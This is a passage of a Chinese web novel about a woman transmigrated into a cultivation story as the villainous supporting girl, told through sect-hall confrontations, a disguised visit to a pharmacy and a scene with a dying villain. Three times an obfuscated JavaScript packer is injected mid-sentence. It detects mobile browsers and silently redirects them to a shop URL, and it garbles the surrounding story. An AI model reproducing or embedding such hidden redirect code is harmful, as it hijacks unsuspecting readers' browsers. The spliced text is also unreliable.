她的脸上带着一种温和,耐心的表情,像一个宽容的大姐姐在看一个不懂事的孩子。 “师妹,那是常衡仙尊的位置,你莫要胡闹。我把我的位置让给你,来这吧。” 她说完,朝自己的座位看了一眼。 那个位置在左侧第三位,旁边就是沈寂川。 如果是以前的陆霜序,大概会高高兴兴地答应。因为江拂雪和沈寂川坐在一起,坐过去就意味着能挨着沈寂川,能假装不经意地碰到他。 可现在的陆霜序不吃这一套。 她坐在高位上,居高临下地看着江拂雪。 她没有全部原主的记忆,有的是原著,顶多再有原著基础上的人物小传。 原著里写得很清楚,陆霜序讨厌江拂雪,不只是因为沈寂川喜欢她,还有一个更深的原因。 她的父亲是万剑宗的宗主,母亲是宗主夫人。 二十年前,妖族大举进犯,她的父母率众迎战,在那一战中身负重伤,从此闭关不出,再也没有露过面。 宗主的位子空了,代宗主的位子便落在了常衡头上——也就是江拂雪的父亲。 在陆霜序的眼里,是江拂雪抢了她的东西。抢了她受宠师妹的身份,抢了她的师兄,抢了她应有的一切。 “你知道的,我的父母当年为了对抗妖族重伤闭关,现在我在自己的宗门里受欺负,连把椅子都没有。我要坐在这里,你爹常衡才能看见,不能装看不见,然后才会为我主持公道。” 大殿瞬间又寂静了。 那寂静不是普通的安静,是一种凝滞,让人喘不过气来的寂静。 没有人说话,因为没有人能接这句话。 虽然说陆霜序人不怎么样,但她说的是事实,苛待两位阻止妖族进攻英雄的独女,确实不是什么说得出口的事。 江拂雪站在那里,她的脸上还是那副温和的表情。 “我知道师妹委屈,所以坐我这吧。” 陆霜序看着她,叹了口气,语气凉凉的,像深秋的露水:“我坐你那,你不就没地方坐?那我被欺负的事,不就变成我欺负你了吗?这不行,我吃亏。” 沈寂川站了起来,他看了一眼江拂雪,又看了一眼陆霜序,眉头拧得紧紧的。 “她坐我这里。” 江拂雪回头看了他一眼,眼神还是温和。 “不必,这座椅很大,我与师妹坐同一位置就好。” 陆霜序摆摆手,语气里带了几分不耐烦。不是演的,是真的不耐烦了。 “我不愿意,我讨厌你,更不愿意和你接触。” 这句话说完,她忽然想起来一件事。 人设。 她还要保持恶毒女配的人设。 她飞快地调整了一下表情,朝沈寂川挤出一个笑容。 “对了,我喜欢你。” 沈寂川的脸当场就黑了,他拧起眉头,嘴角往下撇了撇,像是吞了一只活苍蝇。 成功把大殿内所有人恶心了一遍后,殿内的气氛降到了冰点,正在这时,一阵脚步声从殿外传来。 那脚步声不紧不慢,沉稳有力,带着一种久居上位者的从容。 守在门口的弟子们齐刷刷地低下头去,腰弯成了九十度。 一个留着白色胡须的老者走了进来。 他穿一身玄色道袍,袍上没有多余的装饰,只在领口和袖口绣着银色的云纹。 白色的发用一根乌木簪束着,他的脸看起来年轻,与他那一头白须并不匹配。 常衡。 万剑宗代宗主,江拂雪的父亲。 众人齐刷刷地站了起来,动作整齐划一,所有人拱手,低头,声音洪亮得像是在喊口号。 “宗主。” 陆霜序坐在高位上,一动不动。 她的姿态很放松,后背靠着椅背,两只手搭在扶手上,翘着的二郎腿甚至晃了晃。 “是代宗主,宗主是我爹。“ 她开口,声音清清楚楚地传遍了整个大殿子, 整个大殿的人都尴尬住了。 常衡站在大殿中央,白色胡须微微颤了颤。他的脸上看不出什么表情,可那双精光内敛的眼睛里,有什么东西闪了一闪。 江拂雪站在那里,低下头,像是个认错的孩子,“抱歉,父亲,我又惹师妹生气了。” 8. 你真是演爽了 大殿里安静了一瞬。 无论是怎样的事实,陆霜序方才怎么说。 江拂雪那句话轻飘飘地落下来,就是给陆霜序的行为定了性。 毕竟陆霜序从前如此,现在也只会如此。 一个人怎么可能突然变了性子呢? 所以她今日的所作所为,不过是在重复她一贯的做派罢了。 陆霜序坐在高位上,把底下那些人的表情一一看在眼里。 有人微微点头,有人露出“果然如此”的神色。 所有人都像没有脑子,没有耳朵一样,江拂雪给了他们这个解释,于是他们就都满意了。 陆霜序笑了笑。 她想,以前看小说的时候,她怎么不知道江拂雪会如此令人讨厌呢? 哦,那是因为那时候她是读者,而现在她站在了江拂雪的对立面。 【系统:宿主,提醒一下,女主就是女主,有气运加身,您可不要想什么别的不好的东西。】 系统也不知道是因为和这位宿主相处出了感情,还是因为别的什么,它总感觉这位宿主如果要跟任何人作对,都会成功。 可主角就是主角,占尽天时地利人和,比任何天道法则都要权威。 陆霜序无所谓道:“我怎么敢和主角作对?我只不过是履行我恶毒女配的人设罢了。” 【系统:额……】 系统总觉得这句话哪里不太对,可一时又说不上来。 陆霜序像是刚反应过来一样,站起身来,慢慢悠悠地往下走。 她走到江拂雪面前,停下来。 两个人面对面站着,隔了三步的距离。江拂雪淡青色的裙摆垂落在地,像一株立在池边的水仙。 而陆霜序站在她面前,月白色的衣裳被殿内的风吹得微微鼓起,像一朵还没开全的花苞。 陆霜序开口了,语气诚恳得像是真的在认错。“的确是我的错。我不该大声说出你们欺负我,不给我座位坐,还想让你的父亲为我做主。现在你让开罢,我坐你的位置。” 常衡目光落在陆霜序身上,那目光里没有什么温度,像是在看一件摆在橱窗里的旧物,认得它的来历,却不觉得它还有什么用处。 他没有说话,只是起身走向上首的正位然后坐下来,端端正正的,像一尊供在高处的神像。 江拂雪笑了笑,侧身让座。 沈寂川几乎是同时起身的,要给江拂雪让座。 可他还没来得及站起来,一只手就按在了他的肩膀上。 陆霜序的手按得很稳,沈寂川被她按得一愣,又坐了回去。 “坐下,不然还要闹,大家都挺忙的,师兄不要不懂事。” 沈寂川直接愣了。 他抬起头,看着陆霜序。 那张脸还是那张脸,柳眉杏眼,唇若点樱,和从前一模一样, 可那双眼睛里的东西不一样了。从前那双眼睛看他,总是带着一种黏腻。 可现在那双眼睛看他,淡得像一杯白水,什么都没有。没有喜欢,没有怨恨,没有不甘,甚至连厌恶都没有。 只是看着。 像看一棵树,一块石头,一个无关紧要的路人。 陆霜序转过身,朝身后的江拂雪说了一句话。 “师姐,你就站在我身后吧。就和刚才那个端茶倒水的人一样。” 她的语气轻飘飘的,像是在说一件再普通不过的事情。 殿内的空气仿佛凝固了。 大殿中的人都不是凡人,即便是声音再小,他们都能听到,更何况是陆霜序从未有意想放低音量。 众人不敢说话。 让江拂雪站在她身后,和端茶倒水的侍从一样。 这可是常衡的女儿,万剑宗的掌上明珠。 系统又忍不住跑出来吐槽了。 【系统:还真是给你演爽了。让女主站着你坐着就算了,还要强调一下让人家像端茶倒水的人一样。宿主,你是真的不怕得罪人啊。】 陆霜序理直气壮:“那咋了?我可是恶毒女配。我在这里尽心尽力地完成剧情任务,你不但不夸奖我,还质疑?” 【系统:没有没有,不敢不敢。就是……我也想演两集。看你演得这么爽,我有点羡慕。】 “这好说。”陆霜序的语气忽然变得亲切起来,像是一个热心的老员工在给新人指路,“你也熬夜加个班,把你那主机干过载,说不定你也能穿越。仿生AI机器人也能演恶毒炮灰,我支持你。” 【系统:额……宿主,您好多奇思妙想。】 面对如此要求,江拂雪站在她身后,倒是什么都没有说,只是笑着点了点头。 常衡在上首开始说话了。 他的声音低沉,带着一种久居上位者特有的傲慢。 他在说前两日禁山妖兽暴乱的事,尤其夸奖了江拂雪处事得当,这才没有让万剑宗造成混乱。 陆霜序一个字都不想听,只觉得常衡是太装了,专门开个会来夸自己女儿。 她正想着,江拂雪忽然侧过身来。 淡青色的衣袖在她眼前晃了晃,带起一阵极淡的香气。 “师妹。”江拂雪的声音压得很低,“你的伤如何了?今夜我去为你疗伤吧。” 陆霜序一懵。 伤? 她愣了一下,下意识地低头看了看自己的手。掌心那些被殷焕生的血腐蚀过的地方已经结了薄薄的痂,边缘微微发红,碰一下还有一点疼。 原身夺取殷焕生的修为,因此身体根基受损了,江拂雪这是看出来了? 她是在试探什么? 陆霜序的脑子转得飞快。 即便这个伤确实随时都能给她造成性命威胁,她也不可能让江拂雪去医治。 万一江拂雪发现她体内的伤和殷焕生的血有关,那殷焕生就暴露了。那个半妖的秘密一旦被宗门发现,等待他的不是死,就是比死更可怕的折磨。 而她的任务也会就此失败。 对此,她只能转移话题,挡回去。 “师姐自己去我可不欢迎,得带上师兄。” 这句话说出口的时候,她甚至没多想。 原主喜欢沈寂川这是全宗门都知道的事情,她说“要带上师兄”,在所有人听来,不过是她又想找机会接近沈寂川罢了。 所以这句话说完,她以为这个话题就该到此为止了。 可一旁的沈寂川开口了。 “好。”他声音低沉,像是在下一个什么决心,“今天晚上我一同去。” 陆霜序:…… 她转过头,用一种“你是不是有病”的眼神看着沈寂川。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477846|201586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人是脑子进水了吗? 她给他下过药,意图强占他,嫁祸给江拂雪,闹得全宗门人尽皆知。 他应该恨她入骨,避她如瘟疫,怎么可能会答应去她的寝殿? 还“一同去”?去干什么?喝茶聊天叙旧情吗? 最重要的是,这两人为什么一拍即合,就占用了她的下班时间??? 她盯着沈寂川看了三秒,直接道:“那师兄,那你可不准反抗。” 她以为沈寂川听到这话,也该大骂两句,结束这场对她下班时间侵占的不法谋划。 可沈寂川闻言,只是眉头皱得更紧。 他脸上露出一种复杂的神情,语气则像私塾里的老夫子,“师妹,你不可如此。我们是师兄妹,你如此是□□,不符合……” “打住。”陆霜序抬起手,做了一个“停”的手势。“我是喜欢你,但你别恃宠而骄。” 沈寂川:? 他整个人都愣住了。 那张清俊的脸上写满了茫然。 江拂雪站在陆霜序身后,“好,就这么说定了,晚上我们去找你。” 陆霜序深吸了一口气,又深吸了一口气,再深吸了一口气。 这两个人是有病吧? 她一个恶毒女配,兢兢业业地走剧情,该讨厌的讨厌了,该喜欢的喜欢了,该让座的让座了,该羞辱的羞辱了。 她做完了所有的事情,现在只想回去睡觉。 结果这两个人,一个说要来给她疗伤,一个说要“一同去”,要占用她的下班时间,走一些完全不必要的剧情。 他们不用修炼的吗?不用谈恋爱吗?不用去拯救世界吗? 为什么要来折腾她? 三个人在底下交头接耳,声音压得低低的。 常衡在上首说了很久,看着底下那三人交头接耳,脸色不善,但最终也没说什么。 最后,他的声音平稳如初,“仙门百家这次议结,让陆霜序作为万剑宗的代表出面,各位可有异议?” 一直没认真听课的陆霜序猛地抬起头。 她几乎是从椅子上弹起来的。 “我有异议!我有异议!” 她的声音很大,大到几个仙尊被吓了一跳。 可常衡好像没有听到她的话,他甚至没有看她一眼,只是微微侧了侧头,对江拂雪说了一句话。 “拂雪,你去帮她。” 江拂雪点点头。 “是,父亲。” 说完这话,常衡直接站了起来,走了。 陆霜序:??? 她被气笑了。 就说,为什么非要让她来? 原来在这里等着她。 感情这死老头夸了自己闺女半天,要她去干这苦差事。 没有商量,没有拒绝的余地,甚至连知会都算不上,只是在最后通知她一声。 她去哪? 去干什么? 为什么要让她去? 凭什么让她去? 这在原著里,明明是女主的活啊! 而且按照原著,是原身求了半天,都没求来的。 现在让她去是什么意思? 她绝对不干。 这是非法压榨,这是无薪加班,这是恶意外派。 她要坚决反抗到底。 9. 你别碰瓷 大抵是事情讲完了,常衡也离开了,其余的仙尊觉得无事可留,便三三两两地散了。 他们的脚步声在殿外的石阶上渐渐远去,大殿里一下子空了下来。。 陆霜序站起来,她在这里坐了大半天,听了一耳朵听不懂的话,被人安排了一件不知道去哪的任务,还被女主追着要给她治伤。 现在事情讲完了,人散了,她自然也要走了。 常衡给她派了个什么任务,她没同意,那自然不去。江拂雪说要给她疗伤,她也没同意,那自然也不去。 两件事都跟她没关系,她现在要赶紧回去看看殷焕生在作什么,把那个人的生命值稳住,解决了,立刻下班。 可就在她要离开的时候,江拂雪往前走了两步,不偏不倚地停在了她的正前方。 淡青色的裙摆垂落在地,像一堵不高不矮的墙,刚好挡住了她的去路。 “师妹,不可胡闹。”江拂雪的声音还是那样温和,“我知道你讨厌我,可这事不可耽误。” 陆霜序停下脚步,皱起了眉。 她印象里的江拂雪,或者说《逍遥》原著里的江拂雪,是一个内无私情、心怀大道的人。 作为这本书的第一主角,她的正义性是没有争议的。这个人只有在原主这样的炮灰出来送死的时候,才会进行打脸给读者制造一点爽点,其他时间不是在忙着拯救世界,就是在钻研她的无情道。 按照人设,她应该是最不会纠缠的人。 毕竟她对官配男主都冷淡的很,被读者戏称为无情道终极毕业生。 是断没有一而再,再而三纠缠她的理由。 且不说她身上的伤江拂雪能不能治得了。 就凭这伤是殷焕生的修为造成的,她就不可能让任何人碰。如果被人发现了查出殷焕生的血和修为能腐蚀修仙者,那殷焕生完了,而她也跟着完了。 她不说话,江拂雪看着她,看了好一会儿。 江拂雪咬着嘴唇,嘴唇被咬得发白,像是在做一个很艰难的决定。 然后她的膝盖弯了下去,淡青色的裙摆在地面上铺开来,像一朵花在瞬间绽放。 她跪了下来。 作为被宠着,护着长大的人,她跪天跪地,跪父母,从没跪过他人。 少女的傲气高,下跪的那一瞬间,眼里的不满露出了一丝。 江拂雪的声音带着一种让人心碎的温柔。“师妹,是我的错,还求你原谅我,不要任性折磨自己。” 她跪在那里,脊背挺直,双手交叠在膝上,姿态端庄得像一尊供在庙里的菩萨。 陆霜序愣住了。 虽然说她已经明白这个原著只是这个世界运行规律的一部分,可是江拂雪为什么会跪在她的面前。 原著里,江拂雪可是宁愿被黑山老妖打断腿,都不愿意低头。 大殿外,那些尚未走远的仙尊们听到了动静。 脚步声停住了,有人回过头来,隔着敞开的殿门往里看。 几道目光从外面射进来,像几根细细的针,扎在陆霜序的背上。 人们低语了几句,那声音被风扯碎了,听不清在说什么,可那语气里的意味,却清清楚楚地传了进来。 江拂雪跪在陆霜序面前,众人根本就不用去了解事实。单论两人的名声,便知晓定是陆霜序又欺负人了。 沈寂川站在旁边,眉头拧成一个死结。 他看看跪在地上的江拂雪,又看看站着的陆霜序,欲言又止了好几次,嘴唇张了又合,合了又张。 最终他还是忍不住了。 “小师妹。”他的声音压得很低,像是在克制着什么,“你师姐都如此了,你不要再任性了。” 陆霜序转过头,看着他。 “那要不,你也跪。” 那语气很自然,就如同问好一般。 沈寂川的脸一下子涨红了。他张了张嘴,想说什么,可喉咙里像是被什么东西堵住了,一个字都发不出来。 连那些窃窃私语的仙尊都安静了,安静得像一幅被定住的画。 系统的声音忽然在她脑海里响起来。 【解锁未知剧情,获得两张失忆符纸。】 陆霜序没心情管这三个在发什么疯。 道德绑架只能绑架有道德的人。 她绕过江拂雪,从她身边走了过去。 外面那些仙尊还没有走远,他们站在石阶下面,看见她出来,齐刷刷地住了嘴。 用各种各样的目光看着她,那目光里有嫌恶,有鄙夷,有一种“你怎么还好意思出来”的质问。 窃窃私语的声音又响起来了,像一群老鼠在墙角啃东西。有人说了句什么,另一个人接了一句,然后是一阵嫌恶的哼声。 陆霜序停下来,毫不畏惧地望着他们。 “怎么,你们也想跪吗?正好,我有功夫,看你们一个个跪。” 她的目光从那些人的脸上一个一个地扫过去,然后毫无犹豫地翻了个白眼。 众人有些惊讶,毕竟他们的印象里陆霜序是个色厉内荏的人。 虽然会偷偷摸摸搞些见不得光的腌脏事,但她的脸皮其实很薄,如果大家表现的十分厌恶她,她会委屈的逃离,是绝不敢正面对抗的。 那些人看着她,看了好一会儿,最终像一群被风吹散的落叶,三三两两地往山下走去了。 随着所有人都离开,苍穹峰又陷入了往日的宁静。 而苍穹殿里,江拂雪那完美表情有了一丝崩坏。 离开了苍穹殿,陆霜序并未直接回摘星峰,她没忘记自己身体里那些随时能要她命的东西。 她要去药房。 药房在济世峰的半山腰,是几间用青石垒成的房子。 门楣上挂着一块匾额,写着“济世堂”三个字。 陆霜序还记得去往梅香药房的路程,上次被江拂雪强行拉来的,而这次是她主动来的。 不过她这个身份暂时不适合来,所以她乔装打扮了一番。 月白色的光芒从指尖涌出来,将她整个人包裹住,像一层薄薄的水膜。 光芒散去之后,她变成了另一个人的模样。清秀的小脸,杏眼微微下垂,嘴唇薄薄的,带着一种怯生生的、惹人怜爱的柔弱。 她对着乾坤戒光滑的镜面照了照,满意地点了点头,随后走进了药房。 空气里弥漫着草药的苦香,药房里忙忙碌碌的。 几个弟子坐在长凳上排队,有的捂着胳膊,有的抱着腿,总之呲牙咧嘴地喊疼。 一个穿着灰袍的年轻医师在给他们把脉,眉头皱得能夹死苍蝇。 梅香和几个女弟子在旁边晾晒草药。 陆霜序化作的月魄站在门口,怯生生的,她捂着肚子,眉头微微蹙着。 她一边喊疼,一边往里面走。 药房里所有人的目光都被她吸引了过来。 万剑宗男弟子居多,女弟子少些,尤其是长得漂亮的,更加受欢迎。 那些原本在排队等着看病的弟子们,一个个伸长了脖子,眼睛瞪得溜圆。 他们大多是因为比试的时候受了伤,或者是捕猎妖兽的时候受了伤。 可此刻,他们好像完全感觉不到疼了。 “姑娘,你哪里不舒服?先来,先来!” “不不不,你先去那边坐着,我这伤不碍事,让姑娘先看!” “都让开都让开,我这里有椅子,姑娘你坐这儿!” 此起彼伏的声音在药房里炸开了锅,像一群争抢食物的麻雀,叽叽喳喳的,吵得人头疼。 梅香正在磨药,研钵里的药粉被她碾得沙沙作响。 听到这一阵喧哗,她的眉头猛地皱了起来,手中的石杵往研钵里重重一磕,发出“咚”的一声闷响。 她抬起头,目光如刀,从那些起哄的弟子脸上一一扫过。 “你们都在吵些什么?再吵就都出去!” 这一声吼,中气十足,震得屋顶的灰尘都簌簌地落了下来。 那些弟子们瞬间安静了下来。 梅香的目光穿过人群,落在陆霜序身上。 她朝陆霜序招了招手,声音放轻了许吧。 “跟我来,外面人多眼杂。” 她指了指走廊尽头的一间小屋子。 屋子里不大,只有寻常厢房的一半,可里面的陈设却满满当当的。 三面墙壁上都立着木柜,柜子一格一格的,格子里塞满了东西。 有的格子里摆着书,有的格子里放着药瓶。 靠窗的地方摆着一张桌子,桌面上摊着几本翻开的泛黄医书。 梅香拉过一把椅子,示意陆霜序坐下。 “看你的样子像是新来的,不用害怕,外面那个是我的师尊,他平常里就给那些男弟子们看看伤。咱们女弟子大多都抹不开面,所以都会叫着来我这小屋里给瞧病。 你是哪里不舒服?” 陆霜序摇摇头,示意自己也不清楚。 梅香给她把了脉,只感觉这具身体实在是弱的很,其他的没看出毛病。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆霜序一边翻柜子,一边在心里回了一句,“那当然,恶毒女配不是盖的。” 她的语气不以为意,仿佛这个恶毒女配不是他一样。 这个地方的草药很少,大部分都是常用的那几味,真正稀罕的东西,大概都藏在更隐秘的地方。 她已经想好了,如果在这个房间里还是找不到,那就再找个理由晚上留在这里。 装病、装被陆霜序欺负得不敢回去,什么理由都行。 先在这儿留一晚上,等她找全了再说。 可她打开梅香桌子下柜子的时候,整个人愣住了。 一尺见方的地方,里面整整齐齐地码着几样东西。 是药包。 她拿起一包,拆开,里面是一味她正在找的药。再拆一包,又一味。再拆,还是。 她需要的东西,全在这个柜子里。一样不多,一样不少。 【哇靠,宿主,你欧皇啊!】 陆霜序却没有那么高兴。她把那几包药翻来覆去地看了看,眉头越皱越紧。 不对,这是包好的。 难道也有人和她一样,也得了这样的毒? 她正在思考,走廊里忽然传来了脚步声。 陆霜序飞快地把那几包药塞进乾坤戒里,又把柜门关上。 门被推开了。 梅香怀里抱着一大堆东西,高高地摞起来,几乎遮住了她的脸。 有瓷瓶,有纸包,有竹筒,还有一个布袋子,鼓鼓囊囊的。 “来来来,这些都是给你的。”她把那堆东西一股脑地堆在桌上,“这瓶是补血的,这瓶是安神的,这瓶是调养脾胃的。这几包是草药,回去煎了喝,跟刚才那几包一起。这个布袋子里是干粮,你带回去吃,别饿着。这个竹筒里是蜂蜜,每天早上冲一杯,对身体好。” 陆霜序看着那一桌子东西,嘴角抽了抽。 她来这里是为了找几味药。 本来偷拿别人东西就已经很过意不去了,怎么还好意思接别人的赠礼。 她很真诚地婉拒。 “姐姐,这太多了,我真的拿不了……” “拿得了拿得了,你有乾坤戒吧?装进去就行。要是没有乾坤戒,我送你。” 她实在是被梅香的热情给吓到了,往桌子上丢了几块金子,就跑了。 梅香显然没有想到她会跑。 等反应过来的时候,人已经跑走了。 “要是你那个混账师尊欺负你了,你尽管往我这儿跑,我罩着你!” 陆霜序的脚步顿了一顿。 但等明白梅香说的混账师尊是谁的时候,她跑的更快了。 10. 别碰我! 万剑宗上师尊收徒,教授弟子是基本之道。 有时候弟子多了,弟子们还会为了抢夺师尊欢心,各种耍心眼,明争暗斗,好不热闹。 可殷焕生就没有这个烦恼了。 陆霜序只有他一个徒弟,但名义上的师徒,实际上却连半分指导都不曾有过。 他每日只有一个任务,便是砍柴,然后送去陆霜序的炼丹房。 摘星峰是万剑宗最高的峰,终年笼罩在薄雾之中,潮湿阴冷。 陆霜序落下来的时候,鞋尖刚触到地面,便被松针上的露水浸湿了。空气里弥漫着松脂的清苦气味,混着泥土的潮湿,吸一口进肺里,凉得人打了个哆嗦。 她心想,殷焕生那样的身体状况,还在这种地方,生命值没有直接降到零,反而在波动才奇怪。 她循着一路被砍的树桩,码的整整齐齐的树干,终于看见了殷焕生。 他举起斧头,朝着一棵碗口粗的松树砍去。 斧头落下的声音沉闷而钝重,在寂静的林中回荡开来,惊起几只栖在枝头的鸟雀。 那斧头并不锋利。斧刃上布满了细小的缺口,在像是一排参差不齐的牙齿。 每砍一下,都只能削下薄薄的一片木屑,斧刃嵌进树干里,要费好大的力气才能拔出来。 一棵树,往往要砍上几十下,才能倒下。 殷焕生的生命值还在跳动 每砍一下,数字就往下掉一点,从2%掉到1.5%。 等他停下又慢慢回升,回到2%。再砍,再掉。再停,再升。 她看了好一会儿,有一种不想说话的无奈感。 这个人,伤得那么重,浑身上下没有一处好地方,流了那么多血,烧了那么久。 他明明不是那么听话的人,却还是遵循原主砍柴的命令,不躺着休息,跑到这阴湿老林里来砍柴,还偏要用那么钝的斧头。 怎么这么喜欢自虐。 她此时还是月魄的模样,拍了拍脸,整理好表情。 “师兄!” 她从树后蹦了出来,一边喊人,一边跑去。 砍树的声音停了。 斧头停在半空,凝了一瞬。 然后,那斧头像是不小心脱手一般,从殷焕生的手中滑落,在空中翻了个跟头,直直地朝她砍了过来。 斧刃破空的声音尖锐刺耳,像是什么东西在尖叫。 陆霜序的眼皮猛地跳了一下,她的身体比脑子快,几乎是本能地往旁边一闪,堪堪避开了那柄直奔脑门而来的斧头。 而殷焕生仍旧背对着她,好像那斧头真的是不小心脱了手,他还不知道身后发生了什么。 陆霜序看着那个背影,一股火气直烧天灵盖。 她捡起斧头,气恼地冲过去。 “师兄!” 她的声音还是那副又轻又软的调子,冲到殷焕生背后,然后她整个人连人带斧头,直直地砸了上去。 那力道不算很大,可殷焕生就像一棵被虫蛀空了的树,外表看着还立着,可里面早就千疮百孔了。 他没有一丝意外地倒了。 陆霜序的声音委屈又小心,“师兄,对不起,我被那斧头吓到了,没留神撞到了你,你不会怪我吧。” 殷焕生趴在地上,身体痉挛了一下。他的手指抠进混合松针的泥土里里,指节捏得发白,像是在忍着什么。 他没有出声,一个字都没有。就那么趴着,手撑着地,脊背微微拱起来。 系统的声音在陆霜序的脑海里炸开了。 【警告!反派生命值0.5%!】 听到这声音,陆霜序的声音罕见的慌了。“不是,你别碰瓷。你别死啊!” 她赶紧起身,一把将殷焕生捞到自己的怀里。 他的身体很轻,轻得不像一个成年男子,像一把枯柴,好像一阵风就能吹散。 殷焕生背靠在她的小臂上,头往后仰着,露出一张铁青的脸。他的嘴唇抿着,暗红色的血从唇角溢出来,顺着下巴往下淌。 陆霜序的脑子飞速地转着。 殷焕生要死了,可她也记不得疗伤的术法。 对了,月魄珠。 她昨天夜里塞给他的那颗月魄珠。 那颗珠子有疗愈的功效,能治伤。 她开始在他身上翻找,殷焕生身上没什么肉,翻找时碰到全是一根一根的骨头,像搓衣板,硌得她手疼。 殷焕生猛地睁开了眼睛。 他的脸更青了,嘴唇抖了一下,然后一口鲜血从嘴里涌出来,溅在她的手背上。 他抓住她的手,力气大得一点也不像将死之人。 “别碰我!” 陆霜序被他抓得手腕生疼。 “你喊什么?你一副快死了的样子,我要救你啊!月魄珠呢?” 殷焕生盯着她,声音像是从牙缝里挤出来一样,“我早扔了,你离我远点。” 陆霜序在殷焕生旁边,歪着头看他。 他脸色铁青,嘴角还挂着血,整个人像一件被摔碎了的瓷器,拼都拼不回去。 可他偏偏还能瞪人,那双眼睛里的冷和狠,连藏都不藏,就那么明晃晃地亮出来,像两把刚从冰水里捞出来的刀,刀尖对准了她。 她瞧着他那样,甚至怀疑系统那生命值是假的。 “你别生气啊,我是为了你好啊。” 殷焕生不听这话还好,一听到这话,胸膛猛地起伏了一下。 他的嘴唇抖了抖,把从心肺处喷涌而出的血硬生生咽回去。只可惜没成功,还是有血从他的嘴角处流了出来。 他想,这个女人就是故意的。 故意靠近他,故意气他,然后笑眯眯地说“我是为了你好”。 他恨不得手刃了他,只是在这又冷又湿的松林里,没有贪恋他的血,可以供他驱使的毒物。 陆霜序对他眨眨眼,眼睛弯成两道月牙,露出一排整齐的白牙,那天真灿烂的笑无害得像一朵刚开的花。 系统在她脑海里颤着声音,像是被什么东西吓到了。 【宿主,反派生命值0.4%了。】 陆霜序皱起眉。 “怎么和pdd砍一刀似的,这生命值是真的吗?他看起来活蹦乱跳的。” 【系统:他看起来快气死了,要不...宿主,你还是离他远点吧。】 陆霜序在心里翻了个白眼。 她看着他那双冷得像冰窖的眼睛,还有他那副“我要杀了你”的表情,忽然觉得又好气又好笑。 这个人,真是小气得要死。 能把自己气死的那种小气。 她不过是在他身上摸了两下,找个月魄珠而已。 就他那身材,瘦得像一把枯柴,摸上去硌手得很,她还没嫌弃呢,他还先生气了。 真是好心没好报。 她不情不愿地后退了两步。 【系统:报告宿主,反派生命值1%,黑化值百分之60%了。】 【恭喜宿主。撒花,撒花~】 系统的声音忽然变得欢快起来,那块只有她能看到的光屏上飘出一堆五颜六色的花瓣。 陆霜序:…… 她看着那行数字,脑子里忽然有了一个想法。 她笑了一下,然后往前迈了一步,退回来,然后她又往前一步。 殷焕生的眉头皱了起来, 【系统:额?宿主,你在干什么?】 陆霜序像一个发现了游戏bug的玩家,语气里带着几分得意,“刷分。快看看黑化值涨了没有。” 【系统:真涨了。涨了1%。又涨了……】 系统的话还没说完,光屏上的数字就跳了。61%,62%,63%。 那数字跳得很快,随着陆霜序的动作飞速滚动。 殷焕生的脸色更难看了。 他的胸膛起伏得更厉害了,呼吸变得急促而粗重,像一头被困在笼子里的兽,在笼壁上撞来撞去。 可直到遍体鳞伤,奄奄一息也无可撼动困住他自由的牢笼。 他闭了闭眼,片刻后他又睁开了眼。 那双眼睛里的冷意还在,但他笑了一下。 “你来此,是有何事?” 陆霜序又试了好几次。 她往前一步,退回来,又往前两步,再退一步,像一只在跳格子的小孩,蹦蹦跳跳的,不亦乐乎。 最终黑化值停在了65%。 系统可惜地说,【看来,这法子只能用几次,反派出现耐受反应了。】 陆霜序也觉得可惜。 她站在殷焕生面前。 可惜了。真的可惜了。 她还以为照殷焕生那小气的程度,能直接刷分到100%呢。 她深吸了一口气,把那点遗憾咽回肚子里,换上一副正经的表情。 “师兄,你身体不好。我求了师尊,她不让你砍柴了,你快回去休息吧。” 她说这话的时候,脸上的表情真诚极了。 殷焕生闻言,冷笑了一声。 “那你替我?” 陆霜序愣了一会儿又笑道:“对,我替你。所以你回去吧。对了,我还有些吃的喝的,还有药,都给你。” 她说着,就要从乾坤戒里拿东西。 手指摸到戒面,灵力涌出来,在戒面上凝成一层淡淡的光。 她把那些东西堆在殷焕生面前,堆得像一座小山。 殷焕生看着那堆东西,看了好一会儿,像在看什么令人作呕的垃圾。 “既然如此,你砍吧。我看着你。” 他借着身体最后那一点力气把身体撑起来,走到旁边那棵刚被砍断的树桩前,坐了下来。 树桩是新砍的,断面平整光滑,年轮一圈一圈的。他坐在上面,两只手搭在膝盖上,脊背微微弯着,姿态松弛得像是在自家院子里晒太阳。 陆霜序:? 什么意思?不让她下班,要看着她砍树? 她今天已经加了一早上的班了。 现在好不容易回来了,想赶紧把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477848|201586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情解决了下班,结果这个人要她砍树? 还看着她砍? 她脸上的笑容僵了一瞬,但很快就恢复了,“不了,师兄。你先回去吧,我会慢慢砍的。你养伤要紧。” 殷焕生像是没听到一样。 他坐在树桩上,一动不动,像一尊雕塑。 陆霜序拉下脸。那张脸上的笑容终于挂不住了。 她的心里千不想万不愿。 她想回去睡觉。 可她不砍,殷焕生就不会走。 她深吸了一口气,把那口怨气咽回肚子里,然后弯腰捡起了那柄斧头。 但她不会和殷焕生一样。 这个修仙世界,还拿着斧头砍树,也太原始了。 